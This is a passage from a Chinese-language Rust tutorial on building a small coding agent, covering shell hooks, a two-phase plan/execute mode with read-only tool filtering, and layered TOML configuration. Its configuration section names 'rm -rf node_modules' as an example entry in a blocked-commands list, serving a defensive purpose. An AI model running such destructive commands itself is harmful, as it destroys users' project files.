    pub fn new(command: impl Into<String>) -> Self {
        Self {
            command: command.into(),
            tool_pattern: None,
        }
    }

    pub fn for_tool(mut self, pattern: &str) -> Self {
        self.tool_pattern = glob::Pattern::new(pattern).ok();
        self
    }

    fn matches_tool(&self, tool_name: &str) -> bool {
        match &self.tool_pattern {
            Some(pattern) => pattern.matches(tool_name),
            None => true,
        }
    }
}
}

ShellHook 弥合 Rust 代码与外部命令之间的差距。策略不在 Rust 里实现,而是委托给 shell 命令。命令通过退出码表达决策。

for_tool 构建器方法用 glob 模式限制 hook 触发的工具范围。不用它,hook 对所有工具触发。ShellHook::new("cargo fmt --check").for_tool("write") 只在调用 write 工具时触发。

on_event 实现处理 PreToolCallPostToolCall 事件:

#![allow(unused)]
fn main() {
#[async_trait]
impl Hook for ShellHook {
    async fn on_event(&self, event: &HookEvent) -> HookAction {
        // Only handle PreToolCall and PostToolCall events
        // Check matches_tool() first
        // Run: tokio::process::Command::new("sh").arg("-c").arg(&self.command).output()
        // Exit code 0 -> Continue, non-zero -> Block with stderr
        unimplemented!()
    }
}
}

执行流程:

  1. 提取工具名称。 只处理 PreToolCallPostToolCall 事件;AgentStartAgentEnd 立即返回 Continue

  2. 检查工具模式。 设了 tool_pattern 且不匹配工具名称,返回 Continue

  3. 运行命令。tokio::process::Command 启动 sh -c <command>

  4. 解释退出码。 非零退出意味着"阻止此调用",stderr 被捕获并包含在阻止原因里;零退出意味着 Continue

一个具体示例——每次文件编辑后运行 linter:

#![allow(unused)]
fn main() {
let hook = ShellHook::new("cargo fmt --check")
    .for_tool("write");
}

Claude Code 是怎么做的

Claude Code 的 hook 系统采用相同的事件驱动架构,但通过 settings.json 声明式配置,不用写 Rust 代码。

在 Claude Code 里,hook 定义为带匹配器和命令的 JSON 对象:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "bash",
        "command": "/path/to/check-bash-command.sh"
      }
    ],
    "PostToolUse": [
      {
        "matcher": "*",
        "command": "echo 'Tool $TOOL_NAME completed'"
      }
    ]
  }
}

matcher 字段支持对工具名称使用 glob 模式。command 字段是通过环境变量接收上下文的 shell 命令——与我们的 ShellHook 模式相同。pre-tool hook 非零退出阻止调用。Claude Code 的 hook 还能通过向 stdout 写 JSON 来修改工具参数,agent 会解析并应用。

我们基于 trait 的方式通过不同机制提供相同的可扩展性。hook 是实现 Hook trait 的 Rust 类型,而不是 JSON 配置。好处是编译时类型安全,以及能写含复杂逻辑的 hook(BlockingHook 对工具名称列表匹配;LoggingHook 记录结构化事件)。代价是添加新 hook 要写 Rust 代码,不是编辑配置文件。

ShellHook 弥合了这个差距——委托给外部命令,与 Claude Code 的 JSON 配置 hook 一样。生产 agent 可能会结合两种方式:核心策略用内置 hook(Rust 实现),用户自定义用 shell hook(运行时配置)。


测试

运行 hook 系统测试:

cargo test -p mini-claw-code-starter hooks

关键测试:

  • test_hooks_logging_hook — LoggingHook 为 PreToolCall 事件记录 "pre:bash" 并返回 Continue。
  • test_hooks_logging_hook_multiple_events — LoggingHook 按顺序记录所有四种事件类型:["agent:start", "pre:read", "post:read", "agent:end"]
  • test_hooks_blocking_hook — BlockingHook 对 bash PreToolCall 返回 Block("bash is disabled")
  • test_hooks_blocking_hook_allows_other_tools — BlockingHook 对不在阻止列表中的工具返回 Continue。
  • test_hooks_registry_dispatch_continue — 只有 LoggingHook 的注册表返回 Continue。
  • test_hooks_registry_dispatch_block — 先注册 LoggingHook 再注册 BlockingHook 的注册表对 bash 返回 Block。
  • test_hooks_registry_multiple_hooks_order — 对于未被阻止的事件,两个 hook 都会被调用。
  • test_hooks_registry_block_short_circuits — BlockingHook 触发后,其后注册的 hook 不会被调用。
  • test_hooks_registry_is_empty — 验证注册前后的 is_empty()
  • test_hooks_post_tool_event — LoggingHook 把 PostToolCall 事件正确格式化为 "post:write"

核心要点

hook 系统是带三种可能响应的事件总线:观察(Continue)、干预(Block)或转换(ModifyArgs)。注册顺序决定优先级,Block 立即短路。用户由此获得清晰的扩展点,无需修改 agent 核心循环即可执行自定义策略。


小结

本章添加了事件驱动的 hook 系统,让外部代码能在运行时观察、修改、阻止 agent 行为:

  • HookEvent 定义四个生命周期节点:AgentStartPreToolCallPostToolCallAgentEnd。每个节点携带与 agent 循环中该节点相关的上下文。

  • HookAction 定义三种响应:Continue(正常继续)、Block(以某个原因取消工具调用)、ModifyArgs(替换工具参数)。pre 和 post 事件之间的不对称在 hook 实现中得到了执行——只有 pre-tool hook 才能有意义地阻止。

  • HookRegistry 按顺序把事件分发给 hook。Block 立即短路;ModifyArgs 累积(最后写入者获胜);Continue 是空注册表的默认值。

  • LoggingHook 把所有事件记录在 Mutex<Vec<HookEvent>> 里,用于调试和测试,从不干预执行。

  • BlockingHookPreToolCall 事件上按名称阻止特定工具,忽略其他一切。

  • ShellHook 通过 tokio::process::Command 委托给外部 shell 命令。非零退出阻止调用。for_tool() 方法用 glob::Pattern 限制触发命令的工具范围。

hook 系统完成了安全与控制层。权限引擎(第 13 章)执行基于模式的访问规则。安全检查(第 14 章)静态捕获危险模式。Hook(本章)为那些过于具体或过于动态而难以硬编码的策略提供了逃生通道。


下一步

第 16 章——计划模式——把第三部分的所有内容串联起来。计划模式是受限执行模式,只有只读工具能运行。agent 可以读文件、搜索代码、推理任务,但不能写入、编辑或执行命令。权限引擎检查工具类别;安全检查校验参数;hook 触发供观察;但不会发生任何破坏性操作。这是终极护栏:agent 规划,用户审查,然后才开始执行。

自测


← 第 14 章:安全检查 · 目录 · 第 16 章:计划模式 →

第 16 章:Plan 模式

需要编辑的文件: src/planning.rs 运行的测试: cargo test -p mini-claw-code-starter plan 预计用时: 50 分钟

agent 现在能读文件、写代码、跑 shell 命令,还有权限系统、安全检查和钩子保护。但有个问题:它一口气把所有事都做完。模型读完文件立刻重写,跑完测试接着往下走——整个过程不间断。模型一旦误解了任务,在你开口说"等等,我不是这个意思"之前,代码库已经被改过了。

Plan 模式把 agent 循环拆成两个阶段来解决这个问题。第一阶段,agent 只用只读工具分析任务——读文件、搜代码、列目录,生成计划。第二阶段,调用方(你,或你的 UI)审查计划,批准后 agent 才用全量工具执行。先思考,再行动。这条建议对人和 agent 同样适用。

这不是纸上谈兵。Claude Code 内置了 plan 模式,用户明确批准计划之前,agent 只能做只读操作。所有严肃的编程 agent 都有类似机制——在提交修改前,让模型先推理一遍。你在第 12 章给工具设置的 is_read_only() 标志,就是为这一刻准备的。

cargo test -p mini-claw-code-starter plan

目标

  • 构建有两个独立阶段的 PlanAgentplan()(只读工具)和 execute()(全量工具)。
  • 实现 exit_plan 虚拟工具,让 LLM 明确发出"规划完毕"信号,无需 StopReason::Stop
  • 规划阶段用两层写保护:过滤工具定义让 LLM 看不到写工具,执行时再兜底拦截写工具调用。
  • 两个阶段共享消息历史,执行阶段拥有规划阶段的完整上下文。

为什么要单独的 agent?

可以把 plan 模式做成 SimpleAgent 上的一个标志——加个 plan_mode: bool 字段,在 execute_tools 里检查,按需过滤定义。能跑,但把两个关注点混在了一起。SimpleAgent 是通用 agent 循环。Plan 模式是更高层的工作流,有独立的阶段、转换逻辑,还有个不在工具集里的虚拟工具。混在一块会让两者都变乱。

PlanAgent 是独立的结构体,封装同样的构建块——一个 provider、一个 ToolSet——但以不同方式编排。plan()execute() 分别实现两个阶段,调用方控制它们之间的切换。这样 SimpleAgent 保持简洁,PlanAgent 对自己的工作流有完全控制。

Claude Code 的做法类似:plan 模式设置 PermissionMode::Plan,由权限引擎强制执行(只有只读工具通过)。UI 显示"Plan Mode"横幅和 agent 的计划,再请求批准。我们的 PlanAgent 用调用方驱动的批准方式封装了同样的两阶段模式。


PlanAgent 结构体

#![allow(unused)]
fn main() {
use std::collections::HashSet;

use tokio::sync::mpsc;

use crate::agent::{AgentEvent, tool_summary};
use crate::streaming::{StreamEvent, StreamProvider};
use crate::types::*;

pub struct PlanAgent<P: StreamProvider> {
    provider: P,
    tools: ToolSet,
    read_only: HashSet<&'static str>,
    plan_system_prompt: String,
    exit_plan_def: ToolDefinition,
}
}

五个字段,各有明确职责:

  • provider — LLM 后端。注意 StreamProvider 约束,PlanAgent 在 plan/execute 循环内部用流式传输。
  • tools — 完整工具集。规划阶段只暴露一部分;执行阶段全部可用。
  • read_only — 规划阶段允许的工具名称集合。只有列出的工具在 plan 阶段可用。
  • plan_system_prompt — 规划阶段注入的系统提示词,默认值由 DEFAULT_PLAN_PROMPT 常量提供。
  • exit_plan_def — 虚拟 exit_plan 工具的 ToolDefinition。注入 plan 阶段的工具列表,但不存在于 ToolSet。它是信号,不是真实工具。

构建器

构建器遵循与 SimpleAgent 相同的 new() + 链式调用模式。new() 创建 exit_plan_def,描述告诉模型它的作用。该定义没有参数——模型只需调用它来发出"规划完毕"信号。

#![allow(unused)]
fn main() {
let agent = PlanAgent::new(provider)
    .tool(ReadTool::new())
    .tool(WriteTool::new())
    .read_only(&["read"])
    .plan_prompt("You are a security auditor.");
}

PlanAgent 特有的两个构建器方法:

  • read_only(&[&'static str]) — 设置规划阶段允许的工具名称。调用 .read_only(&["bash", "read"]) 后,规划阶段只有 bashread 可用。适合需要在分析阶段执行命令(如 git logcargo test --dry-run)的专业工作流。

  • plan_prompt(impl Into<String>) — 替换默认规划系统提示词。默认提示说"你处于规划模式,用可用工具探索代码库并制定计划。"自定义提示可以让 agent 专注于特定方向:安全审计、性能分析、迁移规划。


两个阶段

PlanAgent 的核心是 plan()execute() 两个方法。结构与 SimpleAgentchat() 相同,但工具集不同,终止条件也不同。两个方法都接受 mpsc::UnboundedSender<AgentEvent>,用于把事件流式传回调用方。

flowchart LR
    A["用户提示"] --> B["plan()<br/>只读工具<br/>+ exit_plan"]
    B --> C["计划文本"]
    C --> D{"调用方<br/>批准?"}
    D -->|是| E["推送批准<br/>消息"]
    D -->|否| F["推送反馈<br/>消息"]
    F --> B
    E --> G["execute()<br/>所有工具"]
    G --> H["最终结果"]

调用方驱动转换。plan() 返回后,调用方可以:

  1. 向用户展示计划
  2. Message::user("Approved. Go ahead.") 推入消息历史
  3. 用同一个消息向量调用 execute()

也可以拒绝计划,推送反馈,再次调用 plan()PlanAgent 不在乎——没有内置 UI,没有批准对话框。它是工作流 agent,不是用户界面。


阶段一:plan()

规划阶段跑受限的 agent 循环,只有只读工具和虚拟 exit_plan 工具可用。plan()execute() 都委托给共享的 run_loop() 方法:

#![allow(unused)]
fn main() {
pub async fn plan(
    &self,
    messages: &mut Vec<Message>,
    events: mpsc::UnboundedSender<AgentEvent>,
) -> anyhow::Result<String> {
    // Inject system prompt if needed
    // Call run_loop with Some(&self.read_only)
    unimplemented!()
}

pub async fn execute(
    &self,
    messages: &mut Vec<Message>,
    events: mpsc::UnboundedSender<AgentEvent>,
) -> anyhow::Result<String> {
    // Call run_loop with None (no restrictions)
    unimplemented!()
}
}

run_loop() 是共享 agent 循环。allowedSome 时,只有这些工具加上 exit_plan 可用;allowedNone 时,全部工具可用:

以下是 run_loop 的完整实现:

#![allow(unused)]
fn main() {
async fn run_loop(
    &self,
    messages: &mut Vec<Message>,
    allowed: Option<&HashSet<&'static str>>,
    events: mpsc::UnboundedSender<AgentEvent>,
) -> anyhow::Result<String> {
    // Step 1: filter tool definitions
    let all_defs = self.tools.definitions();
    let defs: Vec<&ToolDefinition> = match allowed {
        Some(names) => {
            let mut filtered: Vec<&ToolDefinition> = all_defs
                .into_iter()
                .filter(|d| names.contains(d.name))
                .collect();
            filtered.push(&self.exit_plan_def);
            filtered
        }
        None => all_defs,
    };

    loop {
        // Step 2: stream the LLM response (forward text deltas to UI)
        let (stream_tx, mut stream_rx) = mpsc::unbounded_channel();
        let events_clone = events.clone();
        let forwarder = tokio::spawn(async move {
            while let Some(event) = stream_rx.recv().await {
                if let StreamEvent::TextDelta(ref text) = event {
                    let _ = events_clone.send(AgentEvent::TextDelta(text.clone()));
                }
            }
        });

        let turn = self.provider.stream_chat(messages, &defs, stream_tx).await?;
        let _ = forwarder.await;

        // Step 3: match on stop reason
        match turn.stop_reason {
            StopReason::Stop => {
                let text = turn.text.clone().unwrap_or_default();
                let _ = events.send(AgentEvent::Done(text.clone()));
                messages.push(Message::Assistant(turn));
                return Ok(text);
            }
            StopReason::ToolUse => {
                let mut results = Vec::with_capacity(turn.tool_calls.len());

                for call in &turn.tool_calls {
                    // Handle exit_plan
                    if allowed.is_some() && call.name == "exit_plan" {
                        let text = turn.text.clone().unwrap_or_default();
                        let _ = events.send(AgentEvent::Done(text.clone()));
                        messages.push(Message::Assistant(turn));
                        messages.push(Message::ToolResult {
                            id: call.id.clone(),
                            content: "Plan submitted for review.".into(),
                        });
                        return Ok(text);
                    }

                    // Block tools not in allowed set
                    if let Some(names) = allowed {
                        if !names.contains(call.name.as_str()) {
                            results.push((
                                call.id.clone(),
                                format!("error: tool `{}` is not available in planning mode",
                                    call.name),
                            ));
                            continue;
                        }
                    }

                    // Execute allowed tools
                    let content = match self.tools.get(&call.name) {
                        Some(t) => t.call(call.arguments.clone()).await
                            .unwrap_or_else(|e| format!("error: {e}")),
                        None => format!("error: unknown tool `{}`", call.name),
                    };
                    results.push((call.id.clone(), content));
                }

                messages.push(Message::Assistant(turn));
                for (id, content) in results {
                    messages.push(Message::ToolResult { id, content });
                }
            }
        }
    }
}
}

结构与 SimpleAgent 的 chat 循环一致——相同的循环、相同的 provider 调用、相同的停止原因匹配。不过 PlanAgent 通过 StreamProvider 在内部使用流式传输,有三点不同:

1. 系统提示词注入

进入循环前,plan() 把规划系统提示词插入消息历史的位置 0(如果还没有),告诉模型它处于规划模式。

2. 过滤工具定义

plan 阶段只把 read_only 集合中的工具加上 exit_plan 发给模型。模型在 schema 里看不到写工具,自然没有理由调用它们。

3. exit_plan 退出口

模型调用 exit_plan 时,plan 阶段立即结束。循环把助手消息和合成工具结果("Plan submitted for review.")推入历史,然后返回。合成结果是必须的——API 要求每次工具调用都有对应结果,缺了它下次 provider 调用会因请求格式错误而失败。

plan 阶段有两种退出方式:

  • StopReason::Stop — 模型直接产生文本响应,隐式退出。
  • exit_plan 工具调用 — 模型明确发出信号,显式退出。

两种方式都返回计划文本(如果模型把计划放在工具调用参数里而非文本中,则可能为空)。


exit_plan 工具

exit_plan 工具值得单独说明,因为它很特殊。它不是真实工具,不在 ToolSet 里,没有 call() 方法。它只是一个有名称和描述的 ToolDefinition,注入 plan 阶段的工具列表,让模型把它当成选项。

为什么不直接依赖 StopReason::Stop?理论上可以:告诉模型"规划完毕后,以纯文本输出计划然后停止。"但实践中这与大多数指令微调模型根深蒂固的两种行为相抗衡。

  1. 工具可见时,模型会持续使用。 给模型 readglobgrep 和用户提示,它会愉快地花十轮探索代码库,然后才产生任何叙述性输出。没有自然的停止梯度——再来一次 grep 总是合理的。没有刻意的停止信号,规划阶段就会一直拖。
  2. 纯文本停止很容易被误读为未完成。 以"接下来,我需要检查 X 是如何连接的"结束一轮的模型,即使 stop_reason == Stop,也在暗示"我还在工作"。调用方很难区分已完成的计划和中途暂停的想法。

exit_plan 绕开了这两个问题。它是模型必须主动选择调用的工具,代表明确的承诺("我准备好了")。计划文本作为参数携带,计划和停止信号在同一条结构化消息中一起到达。而且它占据模型已经习惯的工具调用槽位,行为能与循环的其余部分自然组合。这是用工具 schema 表达的社会契约。

模型调用 exit_plan 时,循环按名称检测到它,推送助手消息,找到调用 ID,推送内容为"Plan submitted for review."的合成 ToolResult。合成结果很重要——消息协议要求每个 ToolCall 都有匹配的 ToolResult,少了它下次 API 调用会因请求格式错误失败。


阶段二:execute()

执行阶段是带完整工具集的标准 agent 循环。没有过滤,没有虚拟工具,没有特殊终止。execute() 调用 run_loop(messages, None, events)——allowedNone 意味着所有工具可用。

关键点:execute() 接收与 plan() 相同的 &mut Vec<Message>。规划阶段的消息历史——系统提示词、用户请求、只读工具调用、计划文本——全都还在。模型带着完整的分析和决策上下文进入执行阶段。这种连续性正是两阶段模式有效的原因。模型不是从头开始,而是从停下的地方继续。

plan()execute() 之间,调用方通常推送一条用户消息:

#![allow(unused)]
fn main() {
let (tx, _rx) = mpsc::unbounded_channel();
let plan = agent.plan(&mut messages, tx.clone()).await?;
println!("Plan: {plan}");

// User approves
messages.push(Message::user("Approved. Go ahead."));

let result = agent.execute(&mut messages, tx).await?;
}

批准消息成为执行上下文的一部分,模型看到它就知道自己有权限进行修改。


纵深防御:工具过滤

plan 阶段用两层保护防止写操作:

第一层:定义过滤

提供了 allowed 集合时,run_loop 过滤发给模型的工具 schema。只有名称在集合中的工具才被包含,加上 exit_plan

模型在 schema 里看不到某工具,就没有理由调用它。这是主防线——消除诱惑。

第二层:执行守卫

即使模型以某种方式请求了被阻止的工具(幻觉、提示注入,或对 schema 的创意解读),run_loop 也会捕获。每次工具调用有三种处理:

  1. exit_plan 特殊处理 — 模型调用 exit_plan 时,循环立即返回计划文本,同时推送合成工具结果保持消息历史有效。

  2. 被阻止的工具返回错误 — 工具不在 allowed 集合中时,不执行,向模型返回错误字符串。模型看到错误,理解约束,做出调整。

  3. 允许的工具正常执行 — 查找、调用、返回结果,与 SimpleAgent 的工具执行流程相同。

两层都失效,写操作才能在规划阶段溜过。

Rust 关键概念:HashSet<&'static str> 实现零成本字符串集合

read_only 字段用 &'static str 而非 String。集合中存放的是程序整个生命周期内都有效的字符串字面量引用——无需堆分配,无需克隆。'static 生命周期告诉编译器这些字符串永远不会失效,对 "read""bash" 这样的字符串字面量来说始终成立。代价是只能放入编译时已知的字符串,不能放入动态生成的字符串。工具名称始终在编译时确定,这正是理想选择。

read_only 集合

read_only 字段是包含规划阶段允许工具名称的 HashSet<&'static str>,通过 read_only() 构建器方法设置:

#![allow(unused)]
fn main() {
pub fn read_only(mut self, names: &[&'static str]) -> Self {
    self.read_only = names.iter().cloned().collect();
    self
}
}

参考实现可以回退到检查工具上的 is_read_only() 标志,但 starter 要求明确命名允许的工具——starter 的 Tool trait 上没有 is_read_only()is_destructive() 方法,这样更简单。


系统提示词注入

plan 阶段注入系统消息告诉模型它处于规划模式,由 maybe_inject_plan_prompt() 处理:

#![allow(unused)]
fn main() {
fn maybe_inject_plan_prompt(&self, messages: &mut Vec<Message>) {
    // Don't inject if a system message already exists
    let has_system = messages
        .first()
        .is_some_and(|m| matches!(m, Message::System(_)));

    if !has_system {
        messages.insert(0, Message::System(self.plan_system_prompt.clone()));
    }
}
}

三个设计决策:

  1. 尊重现有系统提示词 — 检查位置 0 是否已有 Message::System。如果调用方已设置系统提示词(如"你是安全审计员"),plan 模式尊重它而不覆盖。plan() 被调用两次时,第二次会找到现有消息并跳过注入。

  2. 位置 0 — 规划提示词插入消息列表开头,在所有现有消息之前。位置 0 的系统提示词对模型行为影响最强。

  3. 自定义或默认 — 构建器调用过 plan_prompt() 则用那段文本,否则默认值告诉模型它处于规划模式、应使用只读工具,完成时调用 exit_plan


完整的 plan-execute 流程

用一个实际场景来追踪整个流程。用户想把源文件复制到新位置。

设置:

#![allow(unused)]
fn main() {
let engine = PlanAgent::new(provider)
    .tool(ReadTool::new())
    .tool(WriteTool::new());

let mut messages = vec![Message::user("Copy src.txt to dst.txt")];
}

Plan 阶段plan() 注入规划系统提示词,把定义过滤为 [read, exit_plan](write 被排除),进入循环。模型调用 read(path="src.txt"),看到内容,返回"我将把 src.txt 复制到 dst.txt。"

批准 — 调用方打印计划,推送用户消息:

#![allow(unused)]
fn main() {
println!("Plan: {}", plan);
messages.push(Message::user("Approved. Go ahead."));
}

Execute 阶段execute() 暴露全部工具。模型调用 write(path="dst.txt", content="source content"),文件在磁盘上创建,模型返回"完成!文件已复制。"

最终消息历史包含完整追踪:规划系统提示词、用户请求、只读分析、计划文本、批准、写操作、最终确认。模型在每一步都有完整上下文。


事件流:plan_with_events()

SimpleAgent 一样,PlanAgent 有事件流变体。plan/execute 方法接受 mpsc::UnboundedSender<AgentEvent>,阶段运行时发出 ToolCallTextDeltaDoneError 事件。模式与 agent 模块的 run_with_events() 相同。

TUI 可以用它在 agent 规划阶段读取文件时显示加载指示器,计划文本流式传输时展示,调用 execute() 前提示用户批准。


Claude Code 的实现方式

Claude Code 的 plan 模式遵循同样的两阶段模式,但与权限系统的集成更深。

特性我们的 PlanAgentClaude Code
工具过滤显式只读集合PermissionMode::Plan 标志
UI 集成调用方驱动(无内置 UI)TUI 中的"Plan Mode"横幅
批准流程调用方推送用户消息带批准/拒绝的 UI 对话框
系统提示词plan_mode 标签的消息特定模式的提示词段落
退出信号exit_plan 虚拟工具权限引擎中的模式转换
写阻断两层(定义 + 执行)权限引擎拒绝非只读操作

最大的区别在于执行发生的位置。Claude Code 里权限引擎负责——plan 模式只是另一种拒绝非只读工具调用的权限模式,SimpleAgent 完全不需要知道 plan 模式。我们的方式更简单、更自包含:关于 plan 模式的所有内容都在一个结构体里,代价是对"半 plan"模式(允许部分写操作)的灵活性较低。


测试

运行 plan 模式测试:

cargo test -p mini-claw-code-starter plan

关键测试:

  • test_plan_plan_text_response — LLM 以 StopReason::Stop 响应时,plan 阶段直接返回文本。
  • test_plan_plan_with_read_tool — plan 阶段允许 read 工具调用并返回计划文本。
  • test_plan_plan_blocks_write_tool — plan 阶段阻止 write 工具调用,向 LLM 返回错误,并验证文件未在磁盘上创建。
  • test_plan_plan_blocks_edit_tool — plan 阶段阻止 edit 工具调用,原始文件保持不变。
  • test_plan_execute_allows_write_tool — execute 阶段允许写操作,文件在磁盘上创建。
  • test_plan_full_plan_then_execute — 完整两阶段流程:plan 读取文件,execution 写入新文件。
  • test_plan_message_continuity — 消息历史在 plan 和 execute 阶段之间正确增长(系统 + 用户 + 助手消息累积)。
  • test_plan_read_only_override — 自定义 read_only(&["read"])bash 排除在 plan 阶段之外。
  • test_plan_streaming_events_during_plan — plan 阶段通过通道发出 TextDeltaDone 事件。
  • test_plan_exit_plan_tool — 虚拟 exit_plan 工具结束规划并注入合成工具结果。
  • test_plan_system_prompt_injected — plan 阶段在位置 0 插入 PLANNING MODE 系统消息。
  • test_plan_system_prompt_not_duplicated — 调用 plan() 两次不会重复系统提示词。
  • test_plan_exit_plan_not_in_execute — execute 阶段中,exit_plan 被视为未知工具。
  • test_plan_custom_plan_prompt — 自定义 plan 提示词替换默认规划指令。
  • test_plan_full_flow_with_exit_plan — 端到端:规划时读取,exit_plan,批准,执行时写入。

核心要点

Plan 模式是调用方驱动的关注点分离:agent 先用只读工具分析,调用方审查并批准,agent 再用全量工具执行。同一份消息历史流经两个阶段,执行阶段拥有规划阶段的完整上下文。


回顾

Plan 模式完成了第三部分——安全与控制。四章下来,你构建了把鲁莽 agent 变成有纪律 agent 的各个层次:

  • 第 13 章:权限引擎 — 执行前对每次工具调用检查权限规则。根据工具和模式来询问、允许或拒绝。
  • 第 14 章:安全检查 — 工具参数的静态分析,在权限提示出现前捕获危险模式。
  • 第 15 章:钩子系统 — 前置和后置工具钩子,实现自定义策略。编辑后运行 linter,阻止某些路径,执行项目规则。
  • 第 16 章:Plan 模式 — 将分析与行动分离的两阶段工作流。agent 先读取和推理,仅在批准后才进行修改。

关键的架构洞察是调用方驱动的批准PlanAgent 不提示用户、不显示对话框、不对 UI 做任何假设。它运行计划,返回文本,然后等待。调用方决定下一步做什么。这种关注点分离——引擎逻辑与用户交互——使同一个 PlanAgent 能在 CLI、TUI、Web 界面或测试框架中工作。


下一步

第三部分为 agent 提供了安全与控制。第四部分——配置——构建使 agent 具有项目感知能力的系统:

  • 第 17 章:设置层级 — 从全局默认值到项目特定覆盖的分层配置。
  • 第 18 章:项目指令 — 加载和组装 CLAUDE.md 文件,告诉 agent 如何处理这个特定代码库。

第三部分的安全基础设施保护 agent 免于造成伤害。第四部分的配置基础设施教它做好事情。

自我检测


← 第 15 章:钩子 · 目录 · 第 17 章:设置层级 →

第 17 章:设置层级

需要编辑的文件: src/config.rssrc/usage.rs 运行的测试: cargo test -p mini-claw-code-starter config(Config、ConfigLoader)、cargo test -p mini-claw-code-starter cost_tracker(CostTracker) 预计用时: 60 分钟

agent 现在能工作了。读文件、写代码、跑命令、检查权限、执行安全规则,plan 模式下还能限制自身。但这些行为全是硬编码的。模型名称是字符串字面量。被阻止的命令列表嵌在源码里。最大上下文窗口是个常量。想改任何一个,就得重新编译。

真正的工具不是这样运作的。在 Rust 项目上用 Claude Code 的开发者和在 Python 单体仓库上工作的开发者需要不同的设置。CI 流水线需要与交互式会话不同的默认值。通过自托管代理路由的用户需要不同的 base URL。agent 必须可配置——配置必须来自多个来源,按优先级分层,让项目设置覆盖用户设置,环境变量覆盖一切。

本章构建 4 层配置层级和成本追踪器。完成后,config(配置)和 cost_tracker(成本追踪器)的测试都应该通过。

cargo test -p mini-claw-code-starter config  # Config, ConfigLoader
cargo test -p mini-claw-code-starter cost_tracker  # CostTracker

目标

  • 定义带 serde 默认值的 Config 结构体,使部分 TOML 文件能反序列化为完整配置。
  • 定义 ConfigOverlay 结构体,字段类型为 Option<T>,让加载器能区分"字段未在 TOML 中设置"和"字段被明确设置为默认值"。
  • 实现 merge() 函数,规则只有一条:overlay 中的每个 Some(_) 替换基础配置中对应的值。
  • 构建 ConfigLoader,按优先级顺序组装四个层(默认值、项目配置、用户配置、环境变量)。
  • 实现 CostTracker,累积 token 计数并根据每百万 token 定价计算运行成本估算。

为什么要分层?

单个配置文件很简单:一个 config.toml,一个真相来源,搞定。但在实践中它马上就会失效:

  • 用户偏好(模型选择和 API base URL 等)应该在所有项目中跟随你。不应该在每个仓库都写 model = "anthropic/claude-sonnet-4-20250514"
  • 项目设置(被阻止的命令和受保护的文件模式等)特定于某个代码库。Node 项目可能阻止 rm -rf node_modules,Rust 项目阻止 cargo publish --allow-dirty
  • 环境覆盖让 CI 流水线无需修改配置文件即可注入设置。GitHub Actions 工作流中的 MINI_CLAW_MODEL=anthropic/claude-haiku-3-20250414 可以切到更便宜的模型做自动化检查。
  • 默认值在完全未配置时提供合理的行为。

解决方案是分层配置。每层可以设置任意字段,优先级更高的层覆盖更低的层,某层未设置的字段向下透传到下一层。

优先级(从高到低):

  1. 环境变量    MINI_CLAW_MODEL, MINI_CLAW_BASE_URL, MINI_CLAW_MAX_TOKENS
  2. 用户配置    ~/.config/mini-claw/config.toml
  3. 项目配置    .claw/config.toml
  4. 默认值      硬编码在代码中

Claude Code 用的是同一套方式。其层级为:CLI 标志 > 环境 > 用户设置 > 项目设置 > 默认值。合并逻辑更复杂——支持按键覆盖和数组合并策略——但架构相同。

flowchart TD
    A["Config::default()"] -->|merge| B["项目配置<br/>.claw/config.toml"]
    B -->|merge| C["用户配置<br/>~/.config/mini-claw/config.toml"]
    C -->|override| D["环境变量<br/>MINI_CLAW_MODEL 等"]
    D --> E["最终 Config"]

    style A fill:#e8e8e8
    style E fill:#c8e6c9

Config 结构体

所有配置存储在 src/config/mod.rs 的单个 Config 结构体中:

#![allow(unused)]
fn main() {
use std::path::{Path, PathBuf};

use serde::{Deserialize, Serialize};

#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Config {
    #[serde(default = "default_model")]
    pub model: String,

    #[serde(default = "default_base_url")]
    pub base_url: String,

    #[serde(default = "default_max_tokens")]
    pub max_context_tokens: u64,

    #[serde(default = "default_preserve_recent")]
    pub preserve_recent: usize,

    #[serde(default)]
    pub allowed_directory: Option<String>,

    #[serde(default)]
    pub protected_patterns: Vec<String>,

    #[serde(default)]
    pub blocked_commands: Vec<String>,

    #[serde(default)]
    pub instructions: Option<String>,
}
}

八个字段,涵盖三类:provider 设置、安全设置、agent 行为。

Provider 设置

model 标识使用哪个 LLM。默认为 "anthropic/claude-sonnet-4-20250514",一个 OpenRouter 模型路径。用户通过不同 provider 路由或想用更便宜的模型测试时可以覆盖它。

base_url 是 API 端点。默认指向 OpenRouter(https://openrouter.ai/api/v1)。跑本地代理、企业网关或其他 OpenAI 兼容 API 的用户改成指向自己的端点。

max_context_tokens 将上下文窗口限制在 200,000 个 token。压缩引擎读取此值来决定何时摘要旧消息。不同模型有不同的上下文限制——Haiku 支持 200K,但自托管模型可能只能处理 8K。

安全设置

allowed_directory 将文件操作限制在单个目录树内。设置后,Write、Edit 和 Read 工具拒绝触碰此路径之外的任何内容。简单但有效的沙箱——在 CI 中很有用,agent 只应该修改检出目录。

protected_patterns 是不能被写入的文件的 glob 模式列表。项目可能保护 *.lock 文件、.envCargo.toml,防止 agent 意外修改构建关键文件。

blocked_commands 列出 bash 工具拒绝的命令子字符串。命令中出现任何被阻止的子字符串,执行就被拒绝。这是第 14 章安全检查的配置入口。

Agent 行为

preserve_recent 控制压缩引擎保留多少条最近消息。压缩时,引擎摘要较旧的消息,但保留最近的 preserve_recent 条不变,让模型有新鲜的上下文。默认 10 条大约对应最近 2-3 轮工具调用。

instructions 将自定义文本注入系统提示词。这是放置项目特定指导的地方——"始终使用 async/await"、"公共 API 中优先使用 Vec 而非 slice"、"测试必须使用 mock provider"。第 18 章构建完整的指令系统,此字段是其配置入口。

Rust 关键概念:#[serde(default)] 实现部分反序列化

serde 的 default 属性让部分配置文件得以工作。TOML 文件省略某字段时,serde 通常会因"缺少字段"而失败。#[serde(default = "function_name")] 属性告诉 serde 调用指定函数而不是失败。默认为 None 或空 Vec 的字段用更简单的 #[serde(default)],它调用 Default::default()。这个模式在 Rust 配置中很惯用:每个字段有合理默认值,用户只需指定想要更改的内容。另一种方式——要求配置文件中包含每个字段——会让部分配置变得不可能。

默认函数与 serde 技巧

每个有非平凡默认值的字段用一个命名函数:

#![allow(unused)]
fn main() {
fn default_model() -> String {
    "anthropic/claude-sonnet-4-20250514".into()
}

fn default_base_url() -> String {
    "https://openrouter.ai/api/v1".into()
}

fn default_max_tokens() -> u64 {
    200_000
}

fn default_preserve_recent() -> usize {
    10
}
}

